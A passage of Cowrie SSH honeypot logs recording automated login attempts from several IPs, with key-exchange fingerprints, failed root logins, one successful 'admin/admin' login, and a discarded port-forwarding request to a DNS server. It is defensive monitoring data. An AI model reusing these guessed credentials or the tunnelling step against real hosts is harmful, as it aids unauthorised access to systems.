iffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:03:03.069215Z","src_ip":"103.57.224.219","session":"711ff5469a6c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4f:c5:f4:2c:9d:a3:41:a9:aa:b2:1f:11:c9:dc:77:c1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCjfWSoZ6f3JXCTT7009eFxdJLyTDbN776g4d4gsgP4s7PSJCOIlgZ5xTqZhqJYPdiPHoPVNQO2JxQxH3NsFKriZBh5bYkOm3lBJA/BSAe6sPfJyNlfL5UGwDLY3S4lMYV7tjoJmNSaax4a+dWpMeFrdRWwvNXkIRie+hwqxE0ekUkvrFQYoPOu7b5xO10eaS11ycN0LMW0dyFqZl6273uro9Ov17lOpQGIiTBo+vOIU5bOK8N5XLmOt254TbeHPw8BxcZreKcm0kiwOY/+UeXpHAvUrSUerjymF6x4FQNaDr07K1APv3m+D2qK5UmVpnG0lKzGZUfG5ou1BS1AEmF/3TBSS5uyxKSt5Hi/bNkQEUVHmCoM/VkvWiue3dub9ESU7RmZXMYlS0O0uZ0eDGUL9TjAnR08tqOmh4KU+1G/FmQU33lKy7PRsSEjx+1URx2Y52Vko2qq31596aFcpcHQnCF/+roT7Z1pVkFhdSku4zK79AS3YIgMDXEfH4Y2e5U=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4f:c5:f4:2c:9d:a3:41:a9:aa:b2:1f:11:c9:dc:77:c1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:03:04.220753Z","src_ip":"103.57.224.219","session":"711ff5469a6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4f:c5:f4:2c:9d:a3:41:a9:aa:b2:1f:11:c9:dc:77:c1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCjfWSoZ6f3JXCTT7009eFxdJLyTDbN776g4d4gsgP4s7PSJCOIlgZ5xTqZhqJYPdiPHoPVNQO2JxQxH3NsFKriZBh5bYkOm3lBJA/BSAe6sPfJyNlfL5UGwDLY3S4lMYV7tjoJmNSaax4a+dWpMeFrdRWwvNXkIRie+hwqxE0ekUkvrFQYoPOu7b5xO10eaS11ycN0LMW0dyFqZl6273uro9Ov17lOpQGIiTBo+vOIU5bOK8N5XLmOt254TbeHPw8BxcZreKcm0kiwOY/+UeXpHAvUrSUerjymF6x4FQNaDr07K1APv3m+D2qK5UmVpnG0lKzGZUfG5ou1BS1AEmF/3TBSS5uyxKSt5Hi/bNkQEUVHmCoM/VkvWiue3dub9ESU7RmZXMYlS0O0uZ0eDGUL9TjAnR08tqOmh4KU+1G/FmQU33lKy7PRsSEjx+1URx2Y52Vko2qq31596aFcpcHQnCF/+roT7Z1pVkFhdSku4zK79AS3YIgMDXEfH4Y2e5U=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:03:04.223858Z","src_ip":"103.57.224.219","session":"711ff5469a6c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"92:16:b9:8d:9b:bd:62:c8:52:6c:e6:04:50:7c:1e:5c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDCikd8fLKLqnDY8K175/Ia8BGtzNObc34he5RqG7w8T0JEt5XFy2Mj8BiskwSFpHWrAUFhiGeuyBhszukU6DdKWJ1b4WCa+u2Rtekett8PbSeuY7b1n1nh6MZ0cIMvNBNlugww/bpwbn7WuyVFBM9siriagfzBvvPp0UwcGUTVdnxHidospHbqHSTsd76rdKIrCvpFhH4SLy1bX7D7TQjOH59inXqpybqQcIt10lw7hCDm2Z5RqovsVMWujZiU/fvFkq055zJixtWlEmflD8TgomymDEhDZ890HCUDvz5lwY3vISG4E/EZKVNqsHYd3n32Lc50VMtF1dwWW48gXkDlv7PmWfO0RfVyU4b9OAA0i/Qepi/oDI3V2S6LkKmkWf3BZK7dIM057JOSxsMx5wtUpOeKx3YHpg+bJe/+0uoMrjG50pbzcM7irR5suKKV13I4ZXaNFoYEV54PG1I8/3WH1BDbtJnfZqQF6TauKuWWnSLCiHbtxKZVVkVmCa77TDf8VjrylZ9AAZG1/Ifn/3ozkqHpM0+oMYAovEjkrsGGohIm3rHZG7kd64Auqj9gqbdcOaKHAnK0vlXaZXO3korpBRbRpSQeY84u9Mfx8xmJm6a2YsnsdsrzI5i4zGr2PqKbBhFmPSokk/dljZ8rANoLfLORrxEiILKYtSEqGDqHpw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 92:16:b9:8d:9b:bd:62:c8:52:6c:e6:04:50:7c:1e:5c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:03:04.450050Z","src_ip":"103.57.224.219","session":"711ff5469a6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"92:16:b9:8d:9b:bd:62:c8:52:6c:e6:04:50:7c:1e:5c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDCikd8fLKLqnDY8K175/Ia8BGtzNObc34he5RqG7w8T0JEt5XFy2Mj8BiskwSFpHWrAUFhiGeuyBhszukU6DdKWJ1b4WCa+u2Rtekett8PbSeuY7b1n1nh6MZ0cIMvNBNlugww/bpwbn7WuyVFBM9siriagfzBvvPp0UwcGUTVdnxHidospHbqHSTsd76rdKIrCvpFhH4SLy1bX7D7TQjOH59inXqpybqQcIt10lw7hCDm2Z5RqovsVMWujZiU/fvFkq055zJixtWlEmflD8TgomymDEhDZ890HCUDvz5lwY3vISG4E/EZKVNqsHYd3n32Lc50VMtF1dwWW48gXkDlv7PmWfO0RfVyU4b9OAA0i/Qepi/oDI3V2S6LkKmkWf3BZK7dIM057JOSxsMx5wtUpOeKx3YHpg+bJe/+0uoMrjG50pbzcM7irR5suKKV13I4ZXaNFoYEV54PG1I8/3WH1BDbtJnfZqQF6TauKuWWnSLCiHbtxKZVVkVmCa77TDf8VjrylZ9AAZG1/Ifn/3ozkqHpM0+oMYAovEjkrsGGohIm3rHZG7kd64Auqj9gqbdcOaKHAnK0vlXaZXO3korpBRbRpSQeY84u9Mfx8xmJm6a2YsnsdsrzI5i4zGr2PqKbBhFmPSokk/dljZ8rANoLfLORrxEiILKYtSEqGDqHpw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:03:04.455264Z","src_ip":"103.57.224.219","session":"711ff5469a6c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c3:2d:6a:7f:09:05:41:32:e2:a5:53:c1:bf:c8:29:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC+PqrVMU5l3JaGGnaNQapuUAN4St6wPPo9GEJCvNQMr7Q9BRyAYD0PR8r+v/TwAFVQCZPFQkVYKzju3b6xX2SdAndK/+3i0gtle+Du7uhxcPZlOlO5xGaOWq2vIsIMnqySy2yu3yeRVsol97gzuQAFkAf1yA2m+HnCHm4DjJsMbSgGCMFfrzEVAgVCQC/aR9wlsCx+xglTUhvyenmZGYNNvpfswj0SNeUSJRczAumokTlI34LdQa60l0YY7FKG9XeuORrGzaiJ92Ic0JYsO2Zh8ljfm0N+B7OzjctGUqKpK5jRZxV/pc9SMEpaqV1unFvmcWD/cVrs6bRAfvFv2JBfbGfTP3wQlS800nCCI2OYoGAOVG/OiFdlscRkGdrpKjzYaM0zMvASzA0N0HxVKpWcZYeqKynx63sCelp9R3GGKuudo81DIwW3ge+Yy21MFsEst0aVvxw28h+gvEeCVBc1hzIWM29p+dYrg5SGG1EgzMA2QJuNQCwl4Lum1mxGh+k=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c3:2d:6a:7f:09:05:41:32:e2:a5:53:c1:bf:c8:29:7a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:03:04.682529Z","src_ip":"103.57.224.219","session":"711ff5469a6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c3:2d:6a:7f:09:05:41:32:e2:a5:53:c1:bf:c8:29:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC+PqrVMU5l3JaGGnaNQapuUAN4St6wPPo9GEJCvNQMr7Q9BRyAYD0PR8r+v/TwAFVQCZPFQkVYKzju3b6xX2SdAndK/+3i0gtle+Du7uhxcPZlOlO5xGaOWq2vIsIMnqySy2yu3yeRVsol97gzuQAFkAf1yA2m+HnCHm4DjJsMbSgGCMFfrzEVAgVCQC/aR9wlsCx+xglTUhvyenmZGYNNvpfswj0SNeUSJRczAumokTlI34LdQa60l0YY7FKG9XeuORrGzaiJ92Ic0JYsO2Zh8ljfm0N+B7OzjctGUqKpK5jRZxV/pc9SMEpaqV1unFvmcWD/cVrs6bRAfvFv2JBfbGfTP3wQlS800nCCI2OYoGAOVG/OiFdlscRkGdrpKjzYaM0zMvASzA0N0HxVKpWcZYeqKynx63sCelp9R3GGKuudo81DIwW3ge+Yy21MFsEst0aVvxw28h+gvEeCVBc1hzIWM29p+dYrg5SGG1EgzMA2QJuNQCwl4Lum1mxGh+k=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:03:04.685792Z","src_ip":"103.57.224.219","session":"711ff5469a6c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"27:29:66:8b:64:e6:9b:8a:07:56:ed:c1:4e:12:70:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1npnEujAQW2W35cB6YPpMMH4VsQi4XT9e9EGqL8yuTb7MHzTww2Pggja8y02ZB2s+1XmQ3nv35B5SPMHVeRsiTdHwrjNIjJb3u+wik/7FBmdWVwbXqwbPE8ccoSZRJAwAMwkGLxnJlEDimokWQ9YrCYcEdu4kegl5ZTjHzlt+teY7EqFKlP0g4AL7w4pJFZCGmgBcUGcRug/KU6GuNCEb+2ZAqp6yJJXoCC+D4XorhU73hjEDiAKHCwcVwV69ZuZIcLSOXceOcxPuFIJfuoR7OE7ZoeinRN4YPvKDFzV831mzp5pxJ/lWM6/Wdr7trYbTv31baRN8b+JffmXaZ57z","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 27:29:66:8b:64:e6:9b:8a:07:56:ed:c1:4e:12:70:c4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:03:04.912756Z","src_ip":"103.57.224.219","session":"711ff5469a6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"27:29:66:8b:64:e6:9b:8a:07:56:ed:c1:4e:12:70:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1npnEujAQW2W35cB6YPpMMH4VsQi4XT9e9EGqL8yuTb7MHzTww2Pggja8y02ZB2s+1XmQ3nv35B5SPMHVeRsiTdHwrjNIjJb3u+wik/7FBmdWVwbXqwbPE8ccoSZRJAwAMwkGLxnJlEDimokWQ9YrCYcEdu4kegl5ZTjHzlt+teY7EqFKlP0g4AL7w4pJFZCGmgBcUGcRug/KU6GuNCEb+2ZAqp6yJJXoCC+D4XorhU73hjEDiAKHCwcVwV69ZuZIcLSOXceOcxPuFIJfuoR7OE7ZoeinRN4YPvKDFzV831mzp5pxJ/lWM6/Wdr7trYbTv31baRN8b+JffmXaZ57z","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:03:04.915771Z","src_ip":"103.57.224.219","session":"711ff5469a6c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c8:0f:32:01:6a:43:0e:53:23:b9:f7:fa:64:a9:7b:b8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApiYQbIPdhW2cJR20Ya78HlcVY754rQXMqYQ6KTYawKzsVgPYIVCKQyP06fAk7MJGB0RJfNqIW5nrFUVn8nnrEhYFFQ4uDi8MHOVuShLtpIVlvjN+O6E1u+mDhGetHxn4vz2PKsqpo6k8ETHhy0hLH77Iw44omQOS+6EIWlsIumaFiS+oKijlSJ0iA+HD9F/1uq1ESgml/XWq7LieIdHXGCJEo3ndv3nxVebw6FV0s0AQ+MPL/NXCBQ9myUQU7u2N0ST5Vo2g4XW51509YnetiHp/iZkNm9+hrsZFRtTQW/yZ87BF8dfTWkKFy8eJfdaTdSpB79ePb76yyhTBCFFa9w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c8:0f:32:01:6a:43:0e:53:23:b9:f7:fa:64:a9:7b:b8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:03:05.142097Z","src_ip":"103.57.224.219","session":"711ff5469a6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c8:0f:32:01:6a:43:0e:53:23:b9:f7:fa:64:a9:7b:b8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApiYQbIPdhW2cJR20Ya78HlcVY754rQXMqYQ6KTYawKzsVgPYIVCKQyP06fAk7MJGB0RJfNqIW5nrFUVn8nnrEhYFFQ4uDi8MHOVuShLtpIVlvjN+O6E1u+mDhGetHxn4vz2PKsqpo6k8ETHhy0hLH77Iw44omQOS+6EIWlsIumaFiS+oKijlSJ0iA+HD9F/1uq1ESgml/XWq7LieIdHXGCJEo3ndv3nxVebw6FV0s0AQ+MPL/NXCBQ9myUQU7u2N0ST5Vo2g4XW51509YnetiHp/iZkNm9+hrsZFRtTQW/yZ87BF8dfTWkKFy8eJfdaTdSpB79ePb76yyhTBCFFa9w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:03:05.144943Z","src_ip":"103.57.224.219","session":"711ff5469a6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:03:05.370675Z","src_ip":"103.57.224.219","session":"711ff5469a6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":50470,"dst_ip":"159.203.135.109","dst_port":22,"session":"138f3b35f336","protocol":"ssh","message":"New connection: 103.149.28.157:50470 (159.203.135.109:22) [session: 138f3b35f336]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:03:35.476964Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:03:35.481047Z","src_ip":"103.149.28.157","session":"138f3b35f336","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:03:35.735528Z","src_ip":"103.149.28.157","session":"138f3b35f336","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"120183","message":"login attempt [root/120183] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:03:36.494550Z","src_ip":"103.149.28.157","session":"138f3b35f336","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:03:37.749478Z","src_ip":"103.149.28.157","session":"138f3b35f336","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":48840,"dst_ip":"10.17.0.5","dst_port":22,"session":"f290eb1f2a02","protocol":"ssh","message":"New connection: 80.66.85.226:48840 (10.17.0.5:22) [session: f290eb1f2a02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:04:20.644473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:04:20.648563Z","src_ip":"80.66.85.226","session":"f290eb1f2a02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:04:20.741869Z","src_ip":"80.66.85.226","session":"f290eb1f2a02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"260479","message":"login attempt [root/260479] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:04:21.024422Z","src_ip":"80.66.85.226","session":"f290eb1f2a02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:04:22.122023Z","src_ip":"80.66.85.226","session":"f290eb1f2a02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":16934,"dst_ip":"10.17.0.5","dst_port":22,"session":"959b676e45c4","protocol":"ssh","message":"New connection: 87.251.64.176:16934 (10.17.0.5:22) [session: 959b676e45c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:04:46.844645Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:04:46.851964Z","src_ip":"87.251.64.176","session":"959b676e45c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:04:46.945839Z","src_ip":"87.251.64.176","session":"959b676e45c4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:04:47.230804Z","src_ip":"87.251.64.176","session":"959b676e45c4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:04:47.327107Z","session":"959b676e45c4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:04:47.421941Z","src_ip":"87.251.64.176","session":"959b676e45c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:04:47.518181Z","src_ip":"87.251.64.176","session":"959b676e45c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":41332,"dst_ip":"10.17.0.5","dst_port":22,"session":"4373c40b7df3","protocol":"ssh","message":"New connection: 194.113.233.25:41332 (10.17.0.5:22) [session: 4373c40b7df3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:05:00.451503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:05:00.455619Z","src_ip":"194.113.233.25","session":"4373c40b7df3","protocol":"ssh"}
